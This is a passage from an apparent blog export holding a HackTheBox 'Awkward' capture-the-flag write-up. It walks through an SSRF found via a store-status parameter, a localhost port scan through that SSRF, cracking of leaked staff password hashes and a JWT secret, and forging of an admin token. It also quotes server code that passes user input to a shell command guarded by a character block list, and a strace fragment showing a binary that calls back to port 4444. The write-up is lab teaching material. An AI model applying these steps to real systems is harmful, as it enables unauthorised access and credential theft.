[\"./ACsmb\"], 0x7ffd18247980 /* 59 vars */) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7f6786bb9000 socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3 connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr(\"10.10.14.71\")}, 16) = -1 ECONNREFUSED (Connection refused) nanosleep({tv_sec=5, tv_nsec=0}, NULL) = 0 ... while true " },{ "title": "Awkward writeup", "tags": ["Writeups","HackTheBox","CTF","Vue.js","Jwt","Sockjs","HMAC-SHA256","SSRF","Command-Injection"], "date": "December 17, 2022", "meta": "0xhacks group", "author": "0xhacks group", "content": "INDEX Enumeration Privesc bean Privesc www-dataEnumeration nmap -sV -p- -A 10.10.11.185 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 7254afbaf6e2835941b7cd611c2f418b (ECDSA) |_ 256 59365bba3c7821e326b37d23605aec38 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel curl 10.10.11.185 <!DOCTYPE html> <html> <head> <meta http-equiv=\"Refresh\" content=\"0; url='http://hat-valley.htb'\" /> </head> <body> </body> </html> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://hat-valley.htb/ /static (Status: 301) [Size: 179] [--> /static/] /css (Status: 301) [Size: 173] [--> /css/] /js (Status: 301) [Size: 171] [--> /js/] http://hat-valley.htb/js/app.js → site created with VUE.js seeing the http://hat-valley.htb/js/custom.js file I tried to do a HTTP POST: curl -d \"firstname=test&email=test@test.htb&lastname=test&message=test&agree=yes\" -X POST http://hat-valley.htb/ <!DOCTYPE html> <html lang=\"en\"> <head> <meta charset=\"utf-8\"> <title>Error</title> </head> <body> <pre>Cannot POST /</pre> </body> </html> the site mentions: We are currently building an online store! No longer do you have to come visit us - stay at home, visit your local library or steal your neighbours internet, and buy our hats online! I’m looking for subdomains: ./eren.bin subdomain_fuzzing hat-valley.htb --threads 100 [FOUND] LINE 100 --> http://store.hat-valley.htb found the subdomain, I also search in the file http://hat-valley.htb/js/app.js the keywords “store”, “.htb”, “href”: return _services_status_js__WEBPACK_IMPORTED_MODULE_2__[\"default\"].store_status(\"http://store.hat-valley.htb\") __webpack_require__(/*! /var/www/hat-valley.htb/node_modules/webpack/hot/dev-server.js */\"./node_modules/webpack/hot/dev-server.js\"); __webpack_require__(/*! /var/www/hat-valley.htb/node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node */\"./node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node\"); window.location.href = \"/dashboard\" there is a very interesting subpage http://hat-valley.htb/sockjs-node, I go in order and analyze the whole store first I visit http://store.hat-valley.htb and http://hat-valley.htb/dashboard (redirect to http://hat-valley.htb/hr) → both require a login NOTE: http://store.hat-valley.htb uses https://en.wikipedia.org/wiki/Basic_access_authentication I search in http://hat-valley.htb/js/app.js if there are references to the word “login”: if ((to.name == 'leave' || to.name == 'dashboard') && vue_cookie_next__WEBPACK_IMPORTED_MODULE_2__[\"VueCookieNext\"].getCookie('token') == 'guest') { //if user not logged in, redirect to login next({name: 'hr'}); } else if (to.name == 'hr' && vue_cookie_next__WEBPACK_IMPORTED_MODULE_2__[\"VueCookieNext\"].getCookie('token') != 'guest') { //if user logged in, skip past login to dashboard next({name: 'dashboard'}); } else { next(); } seeing the control in the previous code just change the value of the token with a value other than guest to be taken to the /dashboard the site basically has only one function: Leave Requests, I put random parameters and see if it generates traffic: JsonWebTokenError: jwt malformed at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17) at /var/www/hat-valley.htb/server/server.js:102:30 at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3) at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15 at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10) at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5) I see in the Network tab of the browser that the following URLs have been contacted and both respond with the same error above (HTTP 500): http://hat-valley.htb/api/all-leave (done automatically, HTTP GET) http://hat-valley.htb/api/submit-leave (my request, HTTP POST) I go into JWT: https://www.vaadata.com/blog/jwt-tokens-and-security-working-principles-and-use-cases/ ok, is it bypassable? https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a unfortunately I don’t think it can be bypassed, I don’t have enough elements so I go back to the enumeration https://stackoverflow.com/questions/71929421/call-vue-store-action-through-browser-console Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties $cookie: {install: ƒ, config: ƒ, getCookie: ƒ, setCookie: ƒ, removeCookie: ƒ, …} $route: (...) $router: {currentRoute: RefImpl, listening: true, addRoute: ƒ, removeRoute: ƒ, hasRoute: ƒ, …} $store: Store {_committing: false, _actions: {…}, _actionSubscribers: Array(0), _mutations: {…}, _wrappedGetters: {…}, …} get $route: () => {…} [[Prototype]]: Object Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$cookie.getCookie() null Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes() 0: {path: '/', redirect: undefined, name: 'base', meta: {…}, aliasOf: undefined, …} 1: {path: '/hr', redirect: undefined, name: 'hr', meta: {…}, aliasOf: undefined, …} 2: {path: '/dashboard', redirect: undefined, name: 'dashboard', meta: {…}, aliasOf: undefined, …} 3: {path: '/leave', redirect: undefined, name: 'leave', meta: {…}, aliasOf: undefined, …} Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$store commit: ƒ boundCommit(type, payload, options) dispatch: ƒ boundDispatch(type, payload) I search for the word “token” in http://hat-valley.htb/js/app.js and find the following functions: name: 'HR', data: function data() { return { username: '', password: '' }; }, methods: { updateUsername: function updateUsername(event) { this.username = event.target.value; }, updatePassword: function updatePassword(event) { this.password = event.target.value; }, hideError: function hideError() { document.getElementsByClassName(\"wrongCreds\")[0].style.display = 'none'; }, submitForm: function submitForm(e) { var _this = this; return Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__[\"default\"])( /*#__PURE__*/ regeneratorRuntime.mark(function _callee() { return regeneratorRuntime.wrap(function _callee$(_context) { while (1) { switch (_context.prev = _context.next) { case 0: e.preventDefault(); _context.next = 3; return _services_session_js__WEBPACK_IMPORTED_MODULE_3__[\"default\"].login(_this.username, _this.password).then(function (data) { _this.$cookie.setCookie(\"token\", data.token); _this.$store.commit('change', { name: \"firstName\", value: data.name }); localStorage.setItem(\"firstName\", data.name); window.location.href = \"/dashboard\"; //instead of router.push so JS charts is executed }).catch(function (error) { document.getElementsByClassName(\"wrongCreds\")[0].style.display = 'block'; _this.username = ''; _this.password = ''; document.getElementById(\"sign-in-form\").reset(); }); case 3: case \"end\": return _context.stop(); } } }, _callee); }))(); } } starting from Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties I can trace the position of the previous functions. So I’m able to enumerate all the other functions present in the routes: Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[1].components.default data: ƒ data() methods: hideError: ƒ hideError() submitForm: ƒ submitForm(e) updatePassword: ƒ updatePassword(event) updateUsername: ƒ updateUsername(event) [[Prototype]]: Object name: \"HR\" render: ƒ render(_ctx, _cache, $props, $setup, $data, $options) __file: \"src/HR.vue\" __hmrId: \"4a4031a3\" __scopeId: \"data-v-4a4031a3\" [[Prototype]]: Object Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[0].components.default name: \"Base\" render: ƒ render(_ctx, _cache, $props, $setup, $data, $options) __file: \"src/Base.vue\" __hmrId: \"4c40c86c\" __scopeId: \"data-v-4c40c86c\" [[Prototype]]: Object Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[2].components.default created: ƒ created() data: ƒ data() methods: getStaff: ƒ getStaff() logout: ƒ logout() refreshStatus: ƒ refreshStatus() [[Prototype]]: Object name: \"Dashboard\" render: ƒ render(_ctx, _cache, $props, $setup, $data, $options) setup: ƒ __injectCSSVars__() __file: \"src/Dashboard.vue\" __hmrId: \"4bc724eb\" __scopeId: \"data-v-4bc724eb\" [[Prototype]]: Object Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[3].components.default created: ƒ created() data: ƒ data() methods: hideSuccess: ƒ hideSuccess() logout: ƒ logout() refreshLeave: ƒ refreshLeave() submitForm: f submitForm(e) updateEnd: ƒ updateEnd(event) updateReason: ƒ updateReason(event) updateStart: ƒ updateStart(event) [[Prototype]]: Object name: \"Leave\" render: ƒ render(_ctx, _cache, $props, $setup, $data, $options) __file: \"src/Leave.vue\" __hmrId: \"33fd770e\" __scopeId: \"data-v-33fd770e\" [[Prototype]]: Object I retrieve the sources of the other functions: name: 'Dashboard', data: function data() { return { status: null, color: null, staff_details: null }; }, methods: { refreshStatus: function () { var _refreshStatus = Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__[\"default\"])( /*#__PURE__*/ regeneratorRuntime.mark(function _callee() { var _this = this; return regeneratorRuntime.wrap(function _callee$(_context) { while (1) { switch (_context.prev = _context.next) { case 0: _context.next = 2; return _services_status_js__WEBPACK_IMPORTED_MODULE_2__[\"default\"].store_status(\"http://store.hat-valley.htb\").then(function (data) { if (data.length > 0) { _this.status = \"Up\"; _this.color = \"green\"; } else { _this.status = \"Down\"; _this.color = \"red\"; } }).catch(function (error) { console.log(error); }); case 2: case \"end\": return _context.stop(); } } }, _callee); })); function refreshStatus() { return _refreshStatus.apply(this, arguments); } return refreshStatus; }, getStaff: function () { var _getStaff = Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__[\"default\"])( /*#__PURE__*/ regeneratorRuntime.mark(function _callee2() { var _this2 = this; return regeneratorRuntime.wrap(function _callee2$(_context2) { while (1) { switch (_context2.prev = _context2.next) { case 0: _context2.next = 2; return _services_staff_js__WEBPACK_IMPORTED_MODULE_3__[\"default\"].staff_details().then(function (data) { _this2.staff_details = data; }).catch(function (error) { console.log(error); }); case 2: case \"end\": return _context2.stop(); } } }, _callee2); })); function getStaff() { return _getStaff.apply(this, arguments); } return getStaff; }, logout: function logout() { this.$cookie.removeCookie(\"token\"); this.$store.commit('change', { name: \"firstName\", value: null }); localStorage.clear(); this.$router.push('/hr'); } } I try to call the function: Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[2].components.default.methods.getStaff() JsonWebTokenError: jwt malformed at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17) at /var/www/hat-valley.htb/server/server.js:151:30 at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3) at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15 at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10) at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5) again I need to have the JWT token obtained through login name: 'Leave', data: function data() { return { leave_requests: null, reason: null, start: null, end: null }; }, methods: { updateReason: function updateReason(event) { this.reason = event.target.value; }, updateStart: function updateStart(event) { var split = event.target.value.split(\"-\"); var finalStart = split[2] + \"/\" + split[1] + \"/\" + split[0]; this.start = finalStart; }, updateEnd: function updateEnd(event) { var split = event.target.value.split(\"-\"); var finalEnd = split[2] + \"/\" + split[1] + \"/\" + split[0]; this.end = finalEnd; }, hideSuccess: function hideSuccess() { document.getElementsByClassName(\"successMessage\")[0].style.display = 'none'; }, refreshLeave: function () { var _refreshLeave = Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__[\"default\"])( /*#__PURE__*/regeneratorRuntime.mark(function _callee() { var _this = this; return regeneratorRuntime.wrap(function _callee$(_context) { while (1) { switch (_context.prev = _context.next) { case 0: _context.next = 2; return _services_leave_js__WEBPACK_IMPORTED_MODULE_5__[\"default\"].get_all() //changed .then(function (data) { var arr = data.split(\"\\\"\"); arr.pop(); //remove empty extra line //remove empty extra line var leaves = []; for (var i = 0; i < arr.length; i++) { arr[i] = arr[i].replace(/(\\\\r\\\\n|\\\\n|\\\\r)/gm, \"\"); //remove line breaks //remove line breaks var splitUp = arr[i].split(\",\"); var toAdd = { reason: splitUp[1], start: splitUp[2], end: splitUp[3], approved: splitUp[4] }; leaves.push(toAdd); } _this.leave_requests = leaves; }).catch(function (error) { console.log(error); }); case 2: case \"end\": return _context.stop(); } } }, _callee); })); function refreshLeave() { return _refreshLeave.apply(this, arguments); } return refreshLeave; }(), submitForm: function submitForm(e) { var _this2 = this; return Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__[\"default\"])( /*#__PURE__*/regeneratorRuntime.mark(function _callee2() { return regeneratorRuntime.wrap(function _callee2$(_context2) { while (1) { switch (_context2.prev = _context2.next) { case 0: e.preventDefault(); _context2.next = 3; return _services_leave_js__WEBPACK_IMPORTED_MODULE_5__[\"default\"].submit_leave(_this2.reason, _this2.start, _this2.end).then(function (data) { document.getElementsByClassName(\"successMessage\")[0].style.display = 'block'; document.getElementById(\"leave-form\").reset(); _this2.refreshLeave(); }).catch(function (error) {}); case 3: case \"end\": return _context2.stop(); } } }, _callee2); }))(); }, logout: function logout() { this.$cookie.removeCookie(\"token\"); this.$store.commit('change', { name: \"firstName\", value: null }); localStorage.clear(); this.$router.push('/hr'); } } I try to call the function: Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[3].components.default.methods.refreshLeave() JsonWebTokenError: jwt malformed at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17) at /var/www/hat-valley.htb/server/server.js:102:30 at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3) at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15 at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10) at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5) again I need to have the JWT token obtained through login there are also other functions in the http://hat-valley.htb/js/app.js file but not accessible from the globalProperties: var baseURL = \"/api/\"; var get_all = function get_all() { return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'all-leave').then(function (response) { return response.data; }); }; var submit_leave = function submit_leave(reason, start, end) { return axios__WEBPACK_IMPORTED_MODULE_0___default.a.post(baseURL + 'submit-leave', { reason: reason, start: start, end: end }).then(function (response) { return response.data; }); }; var baseURL = \"/api/\"; var login = function login(username, password) { return axios__WEBPACK_IMPORTED_MODULE_0___default.a.post(baseURL + 'login', { username: username, password: password }).then(function (response) { return response.data; }); }; var baseURL = \"/api/\"; var staff_details = function staff_details() { return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'staff-details').then(function (response) { return response.data; }); }; var baseURL = \"/api/\"; var store_status = function store_status(URL) { var params = { url: { toJSON: function toJSON() { return URL; } } }; return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'store-status', { params: params }).then(function (response) { return response.data; }); }; http://hat-valley.htb/api/store-status from the requests made by the browser I can see: http://hat-valley.htb/api/store-status?url=%22http:%2F%2Fstore.hat-valley.htb%22 URL decoded and I got: http://hat-valley.htb/api/store-status?url=\"http://store.hat-valley.htb\" so I can pass a URL at will? isn’t the website corresponding to the store hard-coded? that’s great, most likely an SSRF is present http://hat-valley.htb/api/store-status?url=%22http://10.10.14.58:4444%22 GET / HTTP/1.1 Accept: application/json, text/plain, */* User-Agent: axios/0.27.2 Host: 10.10.14.58:4444 Connection: close SSRF found, now I need to figure out how to exploit it I can put some json/text into the html page and it shows server side I’ve tried several injections but I can’t do much http://hat-valley.htb/api/staff-details I always get the usual error: JsonWebTokenError: jwt malformed at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17) at /var/www/hat-valley.htb/server/server.js:151:30 at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3) at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15 at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10) at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5) instead if I delete the token cookie and do an HTTP GET to http://hat-valley.htb/api/staff-details [ { \"user_id\":1, \"username\":\"christine.wool\", \"password\":\"6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649\", \"fullname\":\"Christine Wool\", \"role\":\"Founder, CEO\", \"phone\":\"0415202922\" }, { \"user_id\":2, \"username\":\"christopher.jones\", \"password\":\"e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1\", \"fullname\":\"Christopher Jones\", \"role\":\"Salesperson\", \"phone\":\"0456980001\" }, { \"user_id\":3, \"username\":\"jackson.lightheart\", \"password\":\"b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436\", \"fullname\":\"Jackson Lightheart\", \"role\":\"Salesperson\", \"phone\":\"0419444111\" }, { \"user_id\":4, \"username\":\"bean.hill\", \"password\":\"37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f\", \"fullname\":\"Bean Hill\", \"role\":\"System Administrator\", \"phone\":\"0432339177\" } ] they are SHA256 hashes, I try to do a bruteforce attack saving all 4 hashes in hash.txt file 6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649 e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1 b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436 37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -O I get: e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123 so I log in as christopher.jones : chris123 in the http://hat-valley.htb/hr page I’m logged in and finally I can create Leave Requests at http://hat-valley.htb/leave I notice that I cannot use the following characters: #, {,}, *, $, \", (, ) therefore an SSTI attack is not feasible I try to see if there is an SQLI: sqlmap -r request.txt --os='linux' --level=5 --risk=3 now that I think about it I have the token cookie and consequently I can get more information about the used JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcwMjc0MTkxfQ.7vMDJi74kTnjzGNQcXgbrMNLcqQdxhKD10Umi49jczM decoding the base64 I can see the structure: {\"alg\":\"HS256\",\"typ\":\"JWT\"}{\"username\":\"christopher.jones\",\"iat\":1670274191}.ï02bï...<Æ5...ºÌ4·*AÜa(=tRh¸ö73 https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/ https://github.com/brendan-rius/c-jwt-cracker (does not support dictionary attack) https://github.com/aress31/jwtcat (supports dictionary attack) I then run: python jwtcat.py wordlist -w /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcwMjc0MTkxfQ.7vMDJi74kTnjzGNQcXgbrMNLcqQdxhKD10Umi49jczM 2022-12-12 21:20:51,843 kali __main__[10295] INFO Private key found: 123beany123 2022-12-12 21:20:51,843 kali __main__[10295] INFO Finished in 251.86414098739624 sec now I can create an adhoc token for the user with admin permissions from the site https://jwt.io header = {\"alg\":\"HS256\",\"typ\":\"JWT\"} payload = {\"username\":\"bean.hill\",\"iat\":1670877138} #www.epochconverter.com signature key = 123beany123 results: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJlYW4uaGlsbCIsImlhdCI6MTY3MDg3NzEzOH0.YQha0dBiD60yUOzD65mWLtCqDpXdZNyMol7ndnH71os /hr, /dashboard and /leave pages show no difference once the token is set I’m stuck, I thought this was the way but now I have to go back I haven’t tried redirecting the SSRF to 127.0.0.1 yet going back in the writeup it was present inside the http://hat-valley.htb/js/app.js file: __webpack_require__(/*! /var/www/hat-valley.htb/node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node */\"./node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node\"); I had tried to enumerate from the outside http://hat-valley.htb/sockjs-node but with poor results: explanation: https://sockjs.github.io/sockjs-protocol/sockjs-protocol-0.3.3.html https://sockjs.github.io/sockjs-protocol/sockjs-protocol-0.3.3.html#section-26 http://hat-valley.htb/sockjs-node/info {\"websocket\":true,\"origins\":[\"*:*\"],\"cookie_needed\":false,\"entropy\":896627513} https://github.com/sockjs/sockjs-protocol#running-tests SOCKJS_URL=http://hat-valley.htb:80/sockjs-node ./venv/bin/python sockjs-protocol.py -v test_greeting (__main__.BaseUrlGreeting) ... FAIL test_notFound (__main__.BaseUrlGreeting) ... ok test_response_limit (__main__.EventSource) ... FAIL test_transport (__main__.EventSource) ... FAIL test_abort_xhr_polling (__main__.HandlingClose) ... FAIL test_abort_xhr_streaming (__main__.HandlingClose) ... FAIL test_close_frame (__main__.HandlingClose) ... FAIL test_close_request (__main__.HandlingClose) ... FAIL test_invalid_callback (__main__.HtmlFile) ... FAIL test_no_callback (__main__.HtmlFile) ... FAIL test_response_limit (__main__.HtmlFile) ... FAIL test_transport (__main__.HtmlFile) ... FAIL test_streaming (__main__.Http10) ... FAIL test_synchronous (__main__.Http10) ... FAIL test_streaming (__main__.Http11) ... FAIL test_synchronous (__main__.Http11) ... FAIL test_cacheability (__main__.IframePage) ... FAIL test_invalidUrl (__main__.IframePage) ... ok test_queriedUrl (__main__.IframePage) ... FAIL test_simpleUrl (__main__.IframePage) ... FAIL test_versionedUrl (__main__.IframePage) ... FAIL test_basic (__main__.InfoTest) ... FAIL test_disabled_websocket (__main__.InfoTest) ... FAIL test_entropy (__main__.InfoTest) ... ERROR test_options (__main__.InfoTest) ... FAIL test_options_null_origin (__main__.InfoTest) ... FAIL test_xhr_server_decodes (__main__.JSONEncoding) ... FAIL test_xhr_server_encodes (__main__.JSONEncoding) ... FAIL test_basic (__main__.JsessionidCookie) ... FAIL test_eventsource (__main__.JsessionidCookie) ... FAIL test_htmlfile (__main__.JsessionidCookie) ... FAIL test_jsonp (__main__.JsessionidCookie) ... FAIL test_xhr (__main__.JsessionidCookie) ... FAIL test_xhr_streaming (__main__.JsessionidCookie) ... FAIL test_close (__main__.JsonPolling) ... FAIL test_content_types (__main__.JsonPolling) ... FAIL test_invalid_callback (__main__.JsonPolling) ... FAIL test_invalid_json (__main__.JsonPolling) ... FAIL test_no_callback (__main__.JsonPolling) ... FAIL test_sending_empty_frame (__main__.JsonPolling) ... FAIL test_transport (__main__.JsonPolling) ... FAIL test_closeSession (__main__.Protocol) ... FAIL test_simpleSession (__main__.Protocol) ... FAIL test_close (__main__.RawWebsocket) ... ERROR test_transport (__main__.RawWebsocket) ... ERROR test_anyValue (__main__.SessionURLs) ... FAIL test_ignoringServerId (__main__.SessionURLs) See Protocol.test_simpleSession for explanation. ... FAIL test_invalidPaths (__main__.SessionURLs) ... ok test_broken_json (__main__.Websocket) ... ERROR test_close (__main__.Websocket) ... ERROR test_empty_frame (__main__.Websocket) ... ERROR test_haproxy (__main__.Websocket) ... FAIL test_headersSanity (__main__.Websocket) ... FAIL test_reuseSessionId (__main__.Websocket) ... ERROR test_transport (__main__.Websocket) ... ERROR test_httpMethod (__main__.WebsocketHttpErrors) ... FAIL test_invalidConnectionHeader (__main__.WebsocketHttpErrors) ... FAIL test_invalidMethod (__main__.WebsocketHttpErrors) ... FAIL test_content_types (__main__.XhrPolling) ... FAIL test_invalid_json (__main__.XhrPolling) ... FAIL test_invalid_session (__main__.XhrPolling) ... ok test_options (__main__.XhrPolling) ... FAIL test_request_headers_cors (__main__.XhrPolling) ... FAIL test_sending_empty_frame (__main__.XhrPolling) ... FAIL test_transport (__main__.XhrPolling) ... FAIL test_options (__main__.XhrStreaming) ... FAIL test_response_limit (__main__.XhrStreaming) ... FAIL test_transport (__main__.XhrStreaming) ... FAIL tests passed: test_notFound (__main__.BaseUrlGreeting) ... ok test_invalidUrl (__main__.IframePage) ... ok test_invalidPaths (__main__.SessionURLs) ... ok test_invalid_session (__main__.XhrPolling) ... ok now instead I try to look inside the page: http://localhost:8080&sockPath=/sockjs-node while I’m looking at port 8080 I can try to see if there are other ports capable of talking HTTP: for port in $(seq 1 10000); do if [ $(curl -s \"http://hat-valley.htb/api/store-status?url=%22http://localhost:$port%22\" | wc -l) -gt 0 ]; then echo \"port $port is open and speaks HTTP\"; fi; done port 80 is open and speaks HTTP port 3002 is open and speaks HTTP port 8080 is open and speaks HTTP http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:8080%22 is empty http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:3002%22 contains the documentation of the functions I have already enumerated Staff Details (/api/staff-details) - Retrieve the details of the Hat Valley staff. app.get('/api/staff-details', (req, res) => { const user_token = req.cookies.token var authFailed = false if(user_token) { const decodedToken = jwt.verify(user_token, TOKEN_SECRET) if(!decodedToken.username) { authFailed = true } } if(authFailed) { return res.status(401).json({Error: \"Invalid Token\"}) } connection.query( 'SELECT * FROM users', function (err, results) { if(err) { return res.status(500).send(\"Database error\") } else { return res.status(200).json(results) } } ); }) Store Status (/api/store-status) - Retrieve the status of the Hat Valley online store. app.get('/api/store-status', async (req, res) => { await axios.get(req.query.url.substring(1, req.query.url.length-1)) .then(http_res => { return res.status(200).send(http_res.data) }) .catch(http_err => { return res.status(200).send(http_err.data) }) }) Submit Leave (/api/submit-leave) - Submit a new leave request for the logged in user. app.post('/api/submit-leave', (req, res) => { const {reason, start, end} = req.body const user_token = req.cookies.token var authFailed = false var user = null if(user_token) { const decodedToken = jwt.verify(user_token, TOKEN_SECRET) if(!decodedToken.username) { authFailed = true } else { user = decodedToken.username } } if(authFailed) { return res.status(401).json({Error: \"Invalid Token\"}) } if(!user) { return res.status(500).send(\"Invalid user\") } const bad = [\";\",\"&\",\"|\",\">\",\"<\",\"*\",\"?\",\"`\",\"$\",\"(\",\")\",\"{\",\"}\",\"[\",\"]\",\"!\",\"#\"] const badInUser = bad.some(char => user.includes(char)); const badInReason = bad.some(char => reason.includes(char)); const badInStart = bad.some(char => start.includes(char)); const badInEnd = bad.some(char => end.includes(char)); if(badInUser || badInReason || badInStart || badInEnd) { return res.status(500).send(\"Bad character detected.\") } const finalEntry = user + \",\" + reason + \",\" + start + \",\" + end + \",Pending\\r\" exec(`echo \"${finalEntry}\" >> /var/www/private/leave_requests.csv`, (error, stdout, stderr) => { if (error) { return res.status(500).send(\"Failed to add leave request\") } return res.status(200).send(\"Successfully added new leave request\") }) }) All Leave (/api/all-leave) - Retrieve the leave request history for the logged in user. app.get('/api/all-leave', (req, res) => { const user_token = req.cookies.token var authFailed = false var user = null if(user_token) { const decodedToken = jwt.verify(user_token, TOKEN_SECRET) if(!decodedToken.username) { authFailed = true } else { user = decodedToken.username } } if(authFailed) { return res.status(401).json({Error: \"Invalid Token\"}) } if(!user) { return res.status(500).send(\"Invalid user\") } const bad = [\";\",\"&\",\"|\",\">\",\"<\",\"*\",\"?\",\"`\",\"$\",\"(\",\")\",\"{\",\"}\",\"[\",\"]\",\"!\",\"#\"] const 